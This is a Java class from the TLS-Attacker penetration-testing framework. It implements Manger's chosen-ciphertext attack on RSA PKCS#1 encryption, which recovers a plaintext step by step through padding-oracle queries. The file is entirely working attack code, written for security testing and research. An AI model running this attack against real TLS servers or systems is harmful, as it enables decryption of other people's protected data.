/** * TLS-Attacker - A Modular Penetration Testing Framework for TLS * * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH * * Licensed under Apache License 2.0 * http://www.apache.org/licenses/LICENSE-2.0 */ package de.rub.nds.tlsattacker.attacks.pkcs1; import de.rub.nds.tlsattacker.attacks.pkcs1.oracles.Pkcs1Oracle; import de.rub.nds.tlsattacker.util.ArrayConverter; import de.rub.nds.tlsattacker.util.MathHelper; import java.math.BigInteger; /** * Manger algorithm according to * https://www.iacr.org/archive/crypto2001/21390229.pdf * * Original Python code written by Tibor Jager * * @author Juraj Somorovsky - juraj.somorovsky@rub.de * @version 0.1 */ public class Manger extends Pkcs1Attack { protected Interval result; private volatile boolean interrupted = false; public Manger(byte[] msg, Pkcs1Oracle pkcsOracle) { super(msg, pkcsOracle); // b computation int tmp = publicKey.getModulus().bitLength(); tmp = (MathHelper.intceildiv(tmp, 8) - 1) * 8; bigB = BigInteger.ONE.shiftLeft(tmp); c0 = new BigInteger(1, encryptedMsg); LOGGER.debug("b: {}", ArrayConverter.bytesToHexString(bigB.toByteArray())); } public void attack() throws OracleException { BigInteger cc; LOGGER.info("Step 0: Ensuring that m in [0,B)"); BigInteger fx = BigInteger.ONE; if (!queryOracle(c0, fx)) { BigInteger cx = c0; fx = fx.add(BigInteger.ONE); while (!interrupted) { cx = multiply(c0, fx); if (queryOracle(cx)) { c0 = cx; break; } else { fx = fx.add(BigInteger.ONE); } } } LOGGER.debug("Ciphertext after step 0: {}", ArrayConverter.bytesToHexString(c0.toByteArray())); LOGGER.info("Step 1"); BigInteger f1 = new BigInteger("2"); while (!interrupted) { cc = multiply(c0, f1); if (queryOracle(cc)) { f1 = f1.shiftLeft(1); } else { break; } } LOGGER.info("Step 2"); // f2 = int(intfloordiv(N+B,B)*f1/2) BigInteger tmp = MathHelper.intfloordiv(publicKey.getModulus().add(bigB), bigB); BigInteger f2 = tmp.multiply(f1.shiftRight(1)); while (!interrupted) { cc = multiply(c0, f2); if (!queryOracle(cc)) { f2 = f2.add(f1.shiftRight(1)); } else { break; } } LOGGER.info("Step 3"); BigInteger mmin = MathHelper.intceildiv(publicKey.getModulus(), f2); BigInteger mmax = MathHelper.intfloordiv(publicKey.getModulus().add(bigB), f2); result = new Interval(mmin, mmax); int previntervalsize = 0; while (!interrupted) { BigInteger ftmp = MathHelper.intfloordiv(bigB.shiftLeft(1), mmax.subtract(mmin)); BigInteger i = MathHelper.intfloordiv(ftmp.multiply(mmin), publicKey.getModulus()); BigInteger f3 = MathHelper.intceildiv(i.multiply(publicKey.getModulus()), mmin); cc = multiply(c0, f3); if (!queryOracle(cc)) { mmin = MathHelper.intceildiv(i.multiply(publicKey.getModulus()).add(bigB), f3); } else { mmax = MathHelper.intfloordiv(i.multiply(publicKey.getModulus()).add(bigB), f3); } if (mmax.equals(mmin)) { break; } // intervalsize = int(math.ceil(math.log(mmax-mmin))) // if not intervalsize == previntervalsize: // if intervalsize % 10 == 0: // print ">> Manger running. Interval size:",intervalsize,"bit." // previntervalsize=intervalsize } if (!interrupted) { LOGGER.debug("Manger's attack solution (before inverse computation, if any): {}", ArrayConverter.bytesToHexString(mmin.toByteArray())); if (fx.equals(BigInteger.ONE)) { solution = mmin; } else { BigInteger inverse = fx.modInverse(publicKey.getModulus()); solution = mmin.multiply(inverse).mod(publicKey.getModulus()); } LOGGER.info("Manger's attack solution (after inverse computation, if any): {}", ArrayConverter.bytesToHexString(solution.toByteArray())); } } public boolean isInterrupted() { return interrupted; } public void setInterrupted(boolean interrupted) { this.interrupted = interrupted; } }